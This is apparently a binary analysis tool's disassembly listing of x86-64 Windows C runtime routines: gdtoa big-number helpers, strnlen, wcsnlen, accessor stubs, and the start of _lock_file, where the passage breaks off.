Similarity

1400067e0
1400067e0__Balloc_D2A:
1400067e0push rsi
1400067e1push rbx
1400067e2sub rsp, 56
1400067e6mov ebx, ecx
1400067e8xor ecx, ecx
1400067eacall dtoa_lock
1400067efcmp ebx, 9
1400067f2jg 0x140006830
1400067f4lea rdx, [rip+0x2a265]
1400067fbmovsxd rcx, ebx
1400067femov rax, [rdx+8*rcx]
140006802test rax, rax
140006805je 0x140006880
140006807mov r8, [rax]
14000680acmp [rip+0x2a29f], 2
140006811mov [rdx+8*rcx], r8
140006815jne 0x140006867
140006817
140006817loc_140006817:
140006817mov [rsp+40], rax
14000681clea rcx, [rip+0x2a29d]
140006823call [rip+0x2a9e7]
140006829mov rax, [rsp+40]
14000682ejmp 0x140006867
140006830
140006830loc_140006830:
140006830mov ecx, ebx
140006832mov esi, 1
140006837shl esi, cl
140006839movsxd rax, esi
14000683clea rcx, [4*rax+35]
140006844shr rcx, 3
140006848mov ecx, ecx
14000684a
14000684aloc_14000684a:
14000684ashl rcx, 3
14000684ecall malloc
140006853test rax, rax
140006856je 0x14000686f
140006858
140006858loc_140006858:
140006858cmp [rip+0x2a251], 2
14000685fmov [rax+8], ebx
140006862mov [rax+12], esi
140006865je 0x140006817
140006867
140006867loc_140006867:
140006867mov [rax+16], 0
14000686f
14000686floc_14000686f:
14000686fadd rsp, 56
140006873pop rbx
140006874pop rsi
140006875ret
140006876
140006876 66 2e 0f 1f 84 00 00 00 00 00 f.........
140006880
140006880loc_140006880:
140006880mov ecx, ebx
140006882mov esi, 1
140006887lea r8, [rip+0x298d2]
14000688eshl esi, cl
140006890lea eax, [rsi+9]
140006893cdqe
140006895lea rcx, [4*rax-1]
14000689dmov rax, [rip+0x1e4ec]
1400068a4shr rcx, 3
1400068a8mov rdx, rax
1400068absub rdx, r8
1400068aesar rdx, 3
1400068b2add rdx, rcx
1400068b5cmp rdx, 288
1400068bcja 0x14000684a
1400068belea rdx, [rax+8*rcx]
1400068c2mov [rip+0x1e4c7], rdx
1400068c9jmp 0x140006858
1400067e0

1400068cb
1400068cb // align 0x10

1400068d0
1400068d0__Bfree_D2A:
1400068d0push rbx
1400068d1sub rsp, 32
1400068d5mov rbx, rcx
1400068d8test rcx, rcx
1400068dbje 0x140006916
1400068ddcmp [rcx+8], 9
1400068e1jle 0x1400068f0
1400068e3add rsp, 32
1400068e7pop rbx
1400068e8jmp 0x140007a70
1400068ednop [rax]
1400068f0
1400068f0loc_1400068f0:
1400068f0xor ecx, ecx
1400068f2call dtoa_lock
1400068f7movsxd rdx, [rbx+8]
1400068fblea rax, [rip+0x2a15e]
140006902cmp [rip+0x2a1a7], 2
140006909mov rcx, [rax+8*rdx]
14000690dmov [rax+8*rdx], rbx
140006911mov [rbx], rcx
140006914je 0x140006920
140006916
140006916loc_140006916:
140006916add rsp, 32
14000691apop rbx
14000691bret
14000691cnop [rax]
140006920
140006920loc_140006920:
140006920lea rcx, [rip+0x2a199]
140006927add rsp, 32
14000692bpop rbx
14000692cjmp [rip+0x2a8dd]
1400068d0

140006933
140006933 // align 0x10

140006940
140006940__multadd_D2A:
140006940push rbp
140006941push rdi
140006942push rsi
140006943push rbx
140006944sub rsp, 40
140006948mov edi, [rcx+20]
14000694bmov rbx, rcx
14000694emovsxd rsi, r8l
140006951movsxd rdx, edx
140006954xor ecx, ecx
140006956nop [rax+rax]
140006960
140006960loc_140006960:
140006960mov eax, [rbx+4*rcx+24]
140006964imul rax, rdx
140006968add rax, rsi
14000696bmov [rbx+4*rcx+24], eax
14000696fmov rsi, rax
140006972add rcx, 1
140006976shr rsi, 32
14000697acmp edi, ecx
14000697cjg 0x140006960
14000697emov rbp, rbx
140006981test rsi, rsi
140006984je 0x14000699b
140006986cmp [rbx+12], edi
140006989jle 0x1400069b0
14000698bmovsxd rax, edi
14000698eadd edi, 1
140006991mov rbp, rbx
140006994mov [rbx+4*rax+24], esi
140006998mov [rbx+20], edi
14000699b
14000699bloc_14000699b:
14000699bmov rax, rbp
14000699eadd rsp, 40
1400069a2pop rbx
1400069a3pop rsi
1400069a4pop rdi
1400069a5pop rbp
1400069a6ret
1400069a7
1400069a7 66 0f 1f 84 00 00 00 00 00 f........
1400069b0
1400069b0loc_1400069b0:
1400069b0mov eax, [rbx+8]
1400069b3lea ecx, [rax+1]
1400069b6call __Balloc_D2A
1400069bbmov rbp, rax
1400069betest rax, rax
1400069c1je 0x14000699b
1400069c3lea rcx, [rax+16]
1400069c7movsxd rax, [rbx+20]
1400069cblea rdx, [rbx+16]
1400069cflea r8, [4*rax+8]
1400069d7call memcpy
1400069dcmov rcx, rbx
1400069dfmov rbx, rbp
1400069e2call __Bfree_D2A
1400069e7movsxd rax, edi
1400069eaadd edi, 1
1400069edmov rbp, rbx
1400069f0mov [rbx+4*rax+24], esi
1400069f4mov [rbx+20], edi
1400069f7jmp 0x14000699b
140006940

1400069f9
1400069f9 // align 0x10

140006a00
140006a00__i2b_D2A:
140006a00push rbx
140006a01sub rsp, 48
140006a05mov ebx, ecx
140006a07xor ecx, ecx
140006a09call dtoa_lock
140006a0emov rax, [rip+0x2a053]
140006a15test rax, rax
140006a18je 0x140006a48
140006a1amov rdx, [rax]
140006a1dcmp [rip+0x2a08c], 2
140006a24mov [rip+0x2a03d], rdx
140006a2bje 0x140006a90
140006a2d
140006a2dloc_140006a2d:
140006a2dmov rdx, [rip+0x2591c]
140006a34mov [rax+24], ebx
140006a37mov [rax+16], rdx
140006a3b
140006a3bloc_140006a3b:
140006a3badd rsp, 48
140006a3fpop rbx
140006a40ret
140006a41
140006a41 0f 1f 80 00 00 00 00 .......
140006a48
140006a48loc_140006a48:
140006a48mov rax, [rip+0x1e341]
140006a4flea rcx, [rip+0x2970a]
140006a56mov rdx, rax
140006a59sub rdx, rcx
140006a5csar rdx, 3
140006a60add rdx, 5
140006a64cmp rdx, 288
140006a6bjbe 0x140006ab0
140006a6dmov ecx, 40
140006a72call malloc
140006a77test rax, rax
140006a7aje 0x140006a3b
140006a7c
140006a7cloc_140006a7c:
140006a7cmov rdx, [rip+0x258c5]
140006a83cmp [rip+0x2a026], 2
140006a8amov [rax+8], rdx
140006a8ejne 0x140006a2d
140006a90
140006a90loc_140006a90:
140006a90mov [rsp+40], rax
140006a95lea rcx, [rip+0x2a024]
140006a9ccall [rip+0x2a76e]
140006aa2mov rax, [rsp+40]
140006aa7jmp 0x140006a2d
140006aa9
140006aa9 0f 1f 80 00 00 00 00 .......
140006ab0
140006ab0loc_140006ab0:
140006ab0lea rdx, [rax+40]
140006ab4mov [rip+0x1e2d5], rdx
140006abbjmp 0x140006a7c
140006a00

140006abd
140006abd // align 0x10

140006ac0
140006ac0__mult_D2A:
140006ac0push r15
140006ac2push r14
140006ac4push r13
140006ac6push r12
140006ac8push rbp
140006ac9push rdi
140006acapush rsi
140006acbpush rbx
140006accsub rsp, 40
140006ad0movsxd r12, [rcx+20]
140006ad4movsxd rbp, [rdx+20]
140006ad8mov r13, rcx
140006adbmov r15, rdx
140006adecmp r12l, ebp
140006ae1jl 0x140006af1
140006ae3mov eax, ebp
140006ae5mov r15, rcx
140006ae8movsxd rbp, r12l
140006aebmov r13, rdx
140006aeemovsxd r12, eax
140006af1
140006af1loc_140006af1:
140006af1mov ecx, [r15+8]
140006af5lea ebx, [rbp+r12]
140006afacmp [r15+12], ebx
140006afejge 0x140006b03
140006b00add ecx, 1
140006b03
140006b03loc_140006b03:
140006b03call __Balloc_D2A
140006b08mov rdi, rax
140006b0btest rax, rax
140006b0eje 0x140006c03
140006b14lea r11, [rax+24]
140006b18movsxd rax, ebx
140006b1blea rsi, [r11+4*rax]
140006b1fcmp r11, rsi
140006b22jae 0x140006b47
140006b24mov rax, rsi
140006b27mov rcx, r11
140006b2axor edx, edx
140006b2csub rax, rdi
140006b2fsub rax, 25
140006b33shr rax, 2
140006b37lea r8, [4*rax+4]
140006b3fcall memset
140006b44mov r11, rax
140006b47
140006b47loc_140006b47:
140006b47lea r9, [r13+24]
140006b4blea r14, [r15+24]
140006b4flea r12, [r9+4*r12]
140006b53lea rbp, [r14+4*rbp]
140006b57cmp r9, r12
140006b5ajae 0x140006be3
140006b60mov rax, rbp
140006b63sub rax, r15
140006b66add r15, 25
140006b6asub rax, 25
140006b6eshr rax, 2
140006b72cmp rbp, r15
140006b75lea r13, [4*rax+4]
140006b7dmov eax, 4
140006b82cmovb r13, rax
140006b86jmp 0x140006b99
140006b88
140006b88 0f 1f 84 00 00 00 00 00 ........
140006b90
140006b90loc_140006b90:
140006b90add r11, 4
140006b94cmp r9, r12
140006b97jae 0x140006be3
140006b99
140006b99loc_140006b99:
140006b99mov r10l, [r9]
140006b9cadd r9, 4
140006ba0test r10l, r10l
140006ba3je 0x140006b90
140006ba5mov rcx, r11
140006ba8mov rdx, r14
140006babxor r8l, r8l
140006baenop
140006bb0
140006bb0loc_140006bb0:
140006bb0mov eax, [rdx]
140006bb2mov r15l, [rcx]
140006bb5add rdx, 4
140006bb9add rcx, 4
140006bbdimul rax, r10
140006bc1add rax, r15
140006bc4add rax, r8
140006bc7mov r8, rax
140006bcamov [rcx-4], eax
140006bcdshr r8, 32
140006bd1cmp rdx, rbp
140006bd4jb 0x140006bb0
140006bd6mov [r11+r13], r8l
140006bdaadd r11, 4
140006bdecmp r9, r12
140006be1jb 0x140006b99
140006be3
140006be3loc_140006be3:
140006be3test ebx, ebx
140006be5jg 0x140006bf5
140006be7jmp 0x140006c00
140006be9
140006be9 0f 1f 80 00 00 00 00 .......
140006bf0
140006bf0loc_140006bf0:
140006bf0sub ebx, 1
140006bf3je 0x140006c00
140006bf5
140006bf5loc_140006bf5:
140006bf5mov eax, [rsi-4]
140006bf8sub rsi, 4
140006bfctest eax, eax
140006bfeje 0x140006bf0
140006c00
140006c00loc_140006c00:
140006c00mov [rdi+20], ebx
140006c03
140006c03loc_140006c03:
140006c03mov rax, rdi
140006c06add rsp, 40
140006c0apop rbx
140006c0bpop rsi
140006c0cpop rdi
140006c0dpop rbp
140006c0epop r12
140006c10pop r13
140006c12pop r14
140006c14pop r15
140006c16ret
140006ac0

140006c17
140006c17 // align 0x10

140006c20
140006c20__pow5mult_D2A:
140006c20push rbp
140006c21push rdi
140006c22push rsi
140006c23push rbx
140006c24sub rsp, 40
140006c28mov eax, edx
140006c2amov rsi, rcx
140006c2dmov ebx, edx
140006c2fand eax, 3
140006c32jne 0x140006cf0
140006c38
140006c38loc_140006c38:
140006c38sar ebx, 2
140006c3bmov rbp, rsi
140006c3eje 0x140006c92
140006c40mov rdi, [rip+0x294f9]
140006c47test rdi, rdi
140006c4aje 0x140006d20
140006c50
140006c50loc_140006c50:
140006c50mov rbp, rsi
140006c53jmp 0x140006c67
140006c55
140006c55 0f 1f 00 ...
140006c58
140006c58loc_140006c58:
140006c58sar ebx, 1
140006c5aje 0x140006c92
140006c5c
140006c5cloc_140006c5c:
140006c5cmov rsi, [rdi]
140006c5ftest rsi, rsi
140006c62je 0x140006ca0
140006c64
140006c64loc_140006c64:
140006c64mov rdi, rsi
140006c67
140006c67loc_140006c67:
140006c67test bl, 1
140006c6aje 0x140006c58
140006c6cmov rdx, rdi
140006c6fmov rcx, rbp
140006c72call __mult_D2A
140006c77mov rsi, rax
140006c7atest rax, rax
140006c7dje 0x140006d13
140006c83mov rcx, rbp
140006c86mov rbp, rsi
140006c89call __Bfree_D2A
140006c8esar ebx, 1
140006c90jne 0x140006c5c
140006c92
140006c92loc_140006c92:
140006c92mov rax, rbp
140006c95add rsp, 40
140006c99pop rbx
140006c9apop rsi
140006c9bpop rdi
140006c9cpop rbp
140006c9dret
140006c9e
140006c9e 66 90 f.
140006ca0
140006ca0loc_140006ca0:
140006ca0mov ecx, 1
140006ca5call dtoa_lock
140006caamov rsi, [rdi]
140006cadtest rsi, rsi
140006cb0je 0x140006cd0
140006cb2
140006cb2loc_140006cb2:
140006cb2cmp [rip+0x29df7], 2
140006cb9jne 0x140006c64
140006cbblea rcx, [rip+0x29e26]
140006cc2call [rip+0x2a548]
140006cc8jmp 0x140006c64
140006cca
140006cca 66 0f 1f 44 00 00 f..D..
140006cd0
140006cd0loc_140006cd0:
140006cd0mov rdx, rdi
140006cd3mov rcx, rdi
140006cd6call __mult_D2A
140006cdbmov [rdi], rax
140006cdemov rsi, rax
140006ce1test rax, rax
140006ce4je 0x140006d13
140006ce6mov [rax], 0
140006cedjmp 0x140006cb2
140006cef
140006cef 90 .
140006cf0
140006cf0loc_140006cf0:
140006cf0sub eax, 1
140006cf3lea rdx, [rip+0x25506]
140006cfaxor r8l, r8l
140006cfdcdqe
140006cffmov edx, [rdx+4*rax]
140006d02call __multadd_D2A
140006d07mov rsi, rax
140006d0atest rax, rax
140006d0djne 0x140006c38
140006d13
140006d13loc_140006d13:
140006d13xor ebp, ebp
140006d15jmp 0x140006c92
140006d1a
140006d1a 66 0f 1f 44 00 00 f..D..
140006d20
140006d20loc_140006d20:
140006d20mov ecx, 1
140006d25call dtoa_lock
140006d2amov rdi, [rip+0x2940f]
140006d31test rdi, rdi
140006d34je 0x140006d55
140006d36
140006d36loc_140006d36:
140006d36cmp [rip+0x29d73], 2
140006d3djne 0x140006c50
140006d43lea rcx, [rip+0x29d9e]
140006d4acall [rip+0x2a4c0]
140006d50jmp 0x140006c50
140006d55
140006d55loc_140006d55:
140006d55mov ecx, 1
140006d5acall __Balloc_D2A
140006d5fmov rdi, rax
140006d62test rax, rax
140006d65je 0x140006d85
140006d67mov rax, 0x27100000001
140006d71mov [rip+0x293c8], rdi
140006d78mov [rdi+20], rax
140006d7cmov [rdi], 0
140006d83jmp 0x140006d36
140006d85
140006d85loc_140006d85:
140006d85mov [rip+0x293b0], 0
140006d90xor ebp, ebp
140006d92jmp 0x140006c92
140006c20

140006d97
140006d97 // align 0x10

140006da0
140006da0__lshift_D2A:
140006da0push r14
140006da2push r13
140006da4push r12
140006da6push rbp
140006da7push rdi
140006da8push rsi
140006da9push rbx
140006daasub rsp, 32
140006daemov r12, rcx
140006db1mov esi, edx
140006db3mov ecx, [rcx+8]
140006db6mov ebp, edx
140006db8mov ebx, [r12+20]
140006dbdsar esi, 5
140006dc0mov eax, [r12+12]
140006dc5add ebx, esi
140006dc7lea r13l, [rbx+1]
140006dcbcmp r13l, eax
140006dcejle 0x140006dda
140006dd0
140006dd0loc_140006dd0:
140006dd0add eax, eax
140006dd2add ecx, 1
140006dd5cmp r13l, eax
140006dd8jg 0x140006dd0
140006dda
140006ddaloc_140006dda:
140006ddacall __Balloc_D2A
140006ddfmov r14, rax
140006de2test rax, rax
140006de5je 0x140006e8e
140006deblea rdi, [rax+24]
140006deftest esi, esi
140006df1jle 0x140006e07
140006df3shl rsi, 2
140006df7mov rcx, rdi
140006dfaxor edx, edx
140006dfcmov r8, rsi
140006dffadd rdi, rsi
140006e02call memset
140006e07
140006e07loc_140006e07:
140006e07movsxd rax, [r12+20]
140006e0clea rsi, [r12+24]
140006e11lea r9, [rsi+4*rax]
140006e15and ebp, 31
140006e18je 0x140006ea0
140006e1emov r10l, 32
140006e24mov r8, rdi
140006e27xor edx, edx
140006e29sub r10l, ebp
140006e2cnop [rax]
140006e30
140006e30loc_140006e30:
140006e30mov eax, [rsi]
140006e32mov ecx, ebp
140006e34add r8, 4
140006e38add rsi, 4
140006e3cshl eax, cl
140006e3emov ecx, r10l
140006e41or eax, edx
140006e43mov [r8-4], eax
140006e47mov edx, [rsi-4]
140006e4ashr edx, cl
140006e4ccmp rsi, r9
140006e4fjb 0x140006e30
140006e51mov rax, r9
140006e54lea rcx, [r12+25]
140006e59sub rax, r12
140006e5csub rax, 25
140006e60shr rax, 2
140006e64cmp r9, rcx
140006e67mov ecx, 4
140006e6clea rax, [4*rax+4]
140006e74cmovb rax, rcx
140006e78mov [rdi+rax], edx
140006e7btest edx, edx
140006e7djne 0x140006e82
140006e7f
140006e7floc_140006e7f:
140006e7fmov r13l, ebx
140006e82
140006e82loc_140006e82:
140006e82mov [r14+20], r13l
140006e86mov rcx, r12
140006e89call __Bfree_D2A
140006e8e
140006e8eloc_140006e8e:
140006e8emov rax, r14
140006e91add rsp, 32
140006e95pop rbx
140006e96pop rsi
140006e97pop rdi
140006e98pop rbp
140006e99pop r12
140006e9bpop r13
140006e9dpop r14
140006e9fret
140006ea0
140006ea0loc_140006ea0:
140006ea0movsd [rdi], [rsi]
140006ea1cmp rsi, r9
140006ea4jae 0x140006e7f
140006ea6movsd [rdi], [rsi]
140006ea7cmp rsi, r9
140006eaajb 0x140006ea0
140006eacjmp 0x140006e7f
140006da0

140006eae
140006eae // align 0x10

140006eb0
140006eb0__cmp_D2A:
140006eb0movsxd rax, [rdx+20]
140006eb4mov r9l, [rcx+20]
140006eb8sub r9l, eax
140006ebbjne 0x140006ef4
140006ebdlea r8, [4*rax]
140006ec5add rcx, 24
140006ec9lea rax, [rcx+r8]
140006ecdlea rdx, [rdx+r8+24]
140006ed2jmp 0x140006edd
140006ed4
140006ed4 0f 1f 40 00 ..@.
140006ed8
140006ed8loc_140006ed8:
140006ed8cmp rcx, rax
140006edbjae 0x140006ef4
140006edd
140006eddloc_140006edd:
140006eddsub rax, 4
140006ee1sub rdx, 4
140006ee5mov r10l, [rdx]
140006ee8cmp [rax], r10l
140006eebje 0x140006ed8
140006eedsbb r9l, r9l
140006ef0or r9l, 1
140006ef4
140006ef4loc_140006ef4:
140006ef4mov eax, r9l
140006ef7ret
140006eb0

140006ef8
140006ef8 // align 0x10

140006f00
140006f00__diff_D2A:
140006f00push r14
140006f02push r13
140006f04push r12
140006f06push rbp
140006f07push rdi
140006f08push rsi
140006f09push rbx
140006f0asub rsp, 32
140006f0emovsxd rax, [rdx+20]
140006f12mov edi, [rcx+20]
140006f15mov rsi, rcx
140006f18mov rbx, rdx
140006f1bsub edi, eax
140006f1djne 0x140007078
140006f23lea rdx, [4*rax]
140006f2blea rcx, [rcx+24]
140006f2flea rax, [rcx+rdx]
140006f33lea rdx, [rbx+rdx+24]
140006f38jmp 0x140006f49
140006f3a
140006f3a 66 0f 1f 44 00 00 f..D..
140006f40
140006f40loc_140006f40:
140006f40cmp rcx, rax
140006f43jae 0x1400070a0
140006f49
140006f49loc_140006f49:
140006f49sub rax, 4
140006f4dsub rdx, 4
140006f51mov r14l, [rdx]
140006f54cmp [rax], r14l
140006f57je 0x140006f40
140006f59jb 0x140007083
140006f5fnop
140006f60
140006f60loc_140006f60:
140006f60mov ecx, [rsi+8]
140006f63call __Balloc_D2A
140006f68mov r9, rax
140006f6btest rax, rax
140006f6eje 0x140007063
140006f74mov [rax+16], edi
140006f77movsxd rax, [rsi+20]
140006f7blea r13, [rsi+24]
140006f7flea r12, [r9+24]
140006f83mov ecx, 24
140006f88xor edx, edx
140006f8amov r10, rax
140006f8dlea rdi, [r13+4*rax]
140006f92movsxd rax, [rbx+20]
140006f96lea rbp, [rbx+4*rax+24]
140006f9bnop [rax+rax]
140006fa0
140006fa0loc_140006fa0:
140006fa0mov eax, [rsi+rcx]
140006fa3mov r8l, [rbx+rcx]
140006fa7sub rax, r8
140006faasub rax, rdx
140006fadmov [r9+rcx], eax
140006fb1mov rdx, rax
140006fb4add rcx, 4
140006fb8mov r11l, eax
140006fbbshr rdx, 32
140006fbflea rax, [rcx+rbx]
140006fc3and edx, 1
140006fc6cmp rax, rbp
140006fc9jb 0x140006fa0
140006fcbmov rax, rbp
140006fcelea rsi, [rbx+25]
140006fd2mov ecx, 4
140006fd7sub rax, rbx
140006fdalea r14, [rax-25]
140006fdeshr r14, 2
140006fe2cmp rbp, rsi
140006fe5lea rax, [4*r14+4]
140006fedcmovb rax, rcx
140006ff1add r13, rax
140006ff4lea r8, [r12+rax]
140006ff8mov rbx, r8
140006ffbmov rcx, r13
140006ffecmp r13, rdi
140007001jae 0x1400070c0
140007007nop [rax+rax]
140007010
140007010loc_140007010:
140007010mov eax, [rcx]
140007012add rcx, 4
140007016add rbx, 4
14000701asub rax, rdx
14000701dmov rdx, rax
140007020mov [rbx-4], eax
140007023mov r11l, eax
140007026shr rdx, 32
14000702aand edx, 1
14000702dcmp rcx, rdi
140007030jb 0x140007010
140007032sub rdi, 1
140007036sub rdi, r13
140007039and rdi, -4
14000703dlea rax, [r8+rdi]
140007041
140007041loc_140007041:
140007041test r11l, r11l
140007044jne 0x14000705f
140007046nop [rax+rax]
140007050
140007050loc_140007050:
140007050mov edx, [rax-4]
140007053sub rax, 4
140007057sub r10l, 1
14000705btest edx, edx
14000705dje 0x140007050
14000705f
14000705floc_14000705f:
14000705fmov [r9+20], r10l
140007063
140007063loc_140007063:
140007063mov rax, r9
140007066add rsp, 32
14000706apop rbx
14000706bpop rsi
14000706cpop rdi
14000706dpop rbp
14000706epop r12
140007070pop r13
140007072pop r14
140007074ret
140007075
140007075 0f 1f 00 ...
140007078
140007078loc_140007078:
140007078mov edi, 0
14000707djns 0x140006f60
140007083
140007083loc_140007083:
140007083mov rax, rsi
140007086mov edi, 1
14000708bmov rsi, rbx
14000708emov rbx, rax
140007091jmp 0x140006f60
140007096
140007096 66 2e 0f 1f 84 00 00 00 00 00 f.........
1400070a0
1400070a0loc_1400070a0:
1400070a0xor ecx, ecx
1400070a2call __Balloc_D2A
1400070a7mov r9, rax
1400070aatest rax, rax
1400070adje 0x140007063
1400070afmov [rax+20], 1
1400070b7jmp 0x140007063
1400070b9
1400070b9 0f 1f 80 00 00 00 00 .......
1400070c0
1400070c0loc_1400070c0:
1400070c0xor eax, eax
1400070c2shl r14, 2
1400070c6cmp rbp, rsi
1400070c9cmovb r14, rax
1400070cdlea rax, [r12+r14]
1400070d1jmp 0x140007041
140006f00

1400070d6
1400070d6 // align 0x10

1400070e0
1400070e0__b2d_D2A:
1400070e0push rdi
1400070e1push rsi
1400070e2push rbx
1400070e3movsxd rax, [rcx+20]
1400070e7lea r10, [rcx+24]
1400070eblea rbx, [r10+4*rax]
1400070efmov r11l, [rbx-4]
1400070f3lea rsi, [rbx-4]
1400070f7bsr ecx, r11l
1400070fbmov edi, ecx
1400070fdmov ecx, 32
140007102xor edi, 31
140007105mov r8l, ecx
140007108sub r8l, edi
14000710bmov [rdx], r8l
14000710ecmp edi, 10
140007111jle 0x140007190
140007113lea r9l, [rdi-11]
140007117cmp r10, rsi
14000711ajae 0x140007170
14000711cmov edx, [rbx-8]
14000711ftest r9l, r9l
140007122je 0x140007177
140007124sub ecx, r9l
140007127mov eax, r11l
14000712amov esi, edx
14000712cmov r8l, ecx
14000712fmov ecx, r9l
140007132shl eax, cl
140007134mov ecx, r8l
140007137shr esi, cl
140007139mov ecx, r9l
14000713cor eax, esi
14000713eshl edx, cl
140007140lea rcx, [rbx-8]
140007144or eax, 0x3ff00000
140007149shl rax, 32
14000714dcmp r10, rcx
140007150jae 0x140007183
140007152mov r9l, [rbx-12]
140007156mov ecx, r8l
140007159shr r9l, cl
14000715cor edx, r9l
14000715for rax, rdx
140007162movq x0, rax
140007167pop rbx
140007168pop rsi
140007169pop rdi
14000716aret
14000716b
14000716b 0f 1f 44 00 00 ..D..
140007170
140007170loc_140007170:
140007170xor edx, edx
140007172cmp edi, 11
140007175jne 0x1400071d0
140007177
140007177loc_140007177:
140007177mov eax, r11l
14000717aor eax, 0x3ff00000
14000717fshl rax, 32
140007183
140007183loc_140007183:
140007183or rax, rdx
140007186movq x0, rax
14000718bpop rbx
14000718cpop rsi
14000718dpop rdi
14000718eret
14000718f
14000718f 90 .
140007190
140007190loc_140007190:
140007190mov ecx, 11
140007195mov eax, r11l
140007198xor r8l, r8l
14000719bsub ecx, edi
14000719dshr eax, cl
14000719for eax, 0x3ff00000
1400071a4shl rax, 32
1400071a8cmp r10, rsi
1400071abjae 0x1400071b4
1400071admov r8l, [rbx-8]
1400071b1shr r8l, cl
1400071b4
1400071b4loc_1400071b4:
1400071b4lea ecx, [rdi+21]
1400071b7mov edx, r11l
1400071bashl edx, cl
1400071bcor edx, r8l
1400071bfor rax, rdx
1400071c2movq x0, rax
1400071c7pop rbx
1400071c8pop rsi
1400071c9pop rdi
1400071caret
1400071cb
1400071cb 0f 1f 44 00 00 ..D..
1400071d0
1400071d0loc_1400071d0:
1400071d0mov eax, r11l
1400071d3mov ecx, r9l
1400071d6xor edx, edx
1400071d8shl eax, cl
1400071daor eax, 0x3ff00000
1400071dfshl rax, 32
1400071e3or rax, rdx
1400071e6movq x0, rax
1400071ebpop rbx
1400071ecpop rsi
1400071edpop rdi
1400071eeret
1400070e0

1400071ef
1400071ef // align 0x10

1400071f0
1400071f0__d2b_D2A:
1400071f0push rdi
1400071f1push rsi
1400071f2push rbx
1400071f3sub rsp, 32
1400071f7mov ecx, 1
1400071fcmov rsi, rdx
1400071ffmovq rbx, x0
140007204mov rdi, r8
140007207call __Balloc_D2A
14000720cmov rdx, rax
14000720ftest rax, rax
140007212je 0x1400072a8
140007218mov rcx, rbx
14000721bmov rax, rbx
14000721eshr rcx, 32
140007222mov r9l, ecx
140007225shr ecx, 20
140007228and r9l, 0xfffff
14000722fmov r8l, r9l
140007232or r8l, 0x100000
140007239and ecx, 2047
14000723fcmovne r9l, r8l
140007243mov r10l, ecx
140007246test ebx, ebx
140007248je 0x1400072b8
14000724axor r8l, r8l
14000724dtzcnt r8l, ebx
140007252mov ecx, r8l
140007255shr eax, cl
140007257test r8l, r8l
14000725aje 0x140007271
14000725cmov ecx, 32
140007261mov ebx, r9l
140007264sub ecx, r8l
140007267shl ebx, cl
140007269mov ecx, r8l
14000726cor eax, ebx
14000726eshr r9l, cl
140007271
140007271loc_140007271:
140007271mov [rdx+24], eax
140007274cmp r9l, 1
140007278mov eax, 1
14000727dsbb eax, -1
140007280mov [rdx+28], r9l
140007284mov [rdx+20], eax
140007287test r10l, r10l
14000728ajne 0x1400072d7
14000728c
14000728cloc_14000728c:
14000728cmovsxd rcx, eax
14000728fsub r8l, 1074
140007296bsr ecx, [rdx+4*rcx+20]
14000729bshl eax, 5
14000729emov [rsi], r8l
1400072a1xor ecx, 31
1400072a4sub eax, ecx
1400072a6mov [rdi], eax
1400072a8
1400072a8loc_1400072a8:
1400072a8mov rax, rdx
1400072abadd rsp, 32
1400072afpop rbx
1400072b0pop rsi
1400072b1pop rdi
1400072b2ret
1400072b3
1400072b3 0f 1f 44 00 00 ..D..
1400072b8
1400072b8loc_1400072b8:
1400072b8xor ecx, ecx
1400072bamov eax, 1
1400072bftzcnt ecx, r9l
1400072c4mov [rdx+20], eax
1400072c7shr r9l, cl
1400072calea r8l, [rcx+32]
1400072cemov [rdx+24], r9l
1400072d2test r10l, r10l
1400072d5je 0x14000728c
1400072d7
1400072d7loc_1400072d7:
1400072d7lea eax, [r10+r8-1075]
1400072dfmov [rsi], eax
1400072e1mov eax, 53
1400072e6sub eax, r8l
1400072e9mov [rdi], eax
1400072ebjmp 0x1400072a8
1400071f0

1400072ed
1400072ed // align 0x10

1400072f0
1400072f0__strcp_D2A:
1400072f0mov rax, rcx
1400072f3lea rcx, [rdx+1]
1400072f7movzx edx, [rdx]
1400072famov [rax], dl
1400072fctest dl, dl
1400072feje 0x140007311
140007300
140007300loc_140007300:
140007300movzx edx, [rcx]
140007303add rax, 1
140007307add rcx, 1
14000730bmov [rax], dl
14000730dtest dl, dl
14000730fjne 0x140007300
140007311
140007311loc_140007311:
140007311ret
1400072f0

140007312
140007312 // align 0x10

140007320
140007320strnlen:
140007320xor r8l, r8l
140007323mov rax, rcx
140007326test rdx, rdx
140007329jne 0x14000733f
14000732bjmp 0x140007344
14000732d
14000732d 0f 1f 00 ...
140007330
140007330loc_140007330:
140007330add rax, 1
140007334mov r8, rax
140007337sub r8, rcx
14000733acmp r8, rdx
14000733djae 0x140007344
14000733f
14000733floc_14000733f:
14000733fcmp [rax], 0
140007342jne 0x140007330
140007344
140007344loc_140007344:
140007344mov rax, r8
140007347ret
140007320

140007348
140007348 // align 0x10

140007350
140007350wcsnlen:
140007350xor r8l, r8l
140007353mov rax, rdx
140007356test rdx, rdx
140007359jne 0x140007369
14000735bjmp 0x140007374
14000735d
14000735d 0f 1f 00 ...
140007360
140007360loc_140007360:
140007360add r8, 1
140007364cmp rax, r8
140007367je 0x140007374
140007369
140007369loc_140007369:
140007369cmp [rcx+2*r8], 0
14000736fjne 0x140007360
140007371mov rax, r8
140007374
140007374loc_140007374:
140007374ret
140007350

140007375
140007375 // align 0x10

140007380
140007380__p__fmode:
140007380mov rax, [rip+0x250a9]
140007387mov rax, [rax]
14000738aret
140007380

14000738b
14000738b // align 0x10

140007390
140007390__p__commode:
140007390mov rax, [rip+0x25089]
140007397mov rax, [rax]
14000739aret
140007390

14000739b
14000739b // align 0x10

1400073a0
1400073a0__p__acmdln:
1400073a0mov rax, [rip+0x25069]
1400073a7mov rax, [rax]
1400073aaret
1400073a0

1400073ab
1400073ab // align 0x10

1400073b0
1400073b0_lock_file:
1400073b0push rbx
1400073b1sub rsp, 32
1400073b5mov rbx, rcx
1400073b8xor ecx, ecx
1400073bacall __acrt_iob_func
1400073bfcmp rbx, rax
1400073c2jb 0x1400073d3
1400073c4mov ecx, 19
1400073c9call __acrt_iob_func
1400073cecmp rbx, rax
1400073d1jbe 0x1400073e8
1400073d3
1400073d3loc_1400073d3:
1400073d3lea rcx, [rbx+48]
1400073d7add rsp, 32
1400073dbpop rbx
1400073dcjmp [rip+0x29e05]
1400073e3nop [rax+rax]
1400073e8
1400073e8loc_1400073e8:
1400073e8xor ecx, ecx
1400073eacall __acrt_iob_func
1400073efmov rdx, rax
1400073f2mov rax, rbx
1400073f5sub rax, rdx
1400073f8sar rax, 4
1400073fcimul eax, eax, 0xffffffffaaaaaaab
140007402lea ecx, [rax+16]
140007405call _lock
14000740aor [rbx+24], 32768
140007411add rsp, 32
140007415pop rbx
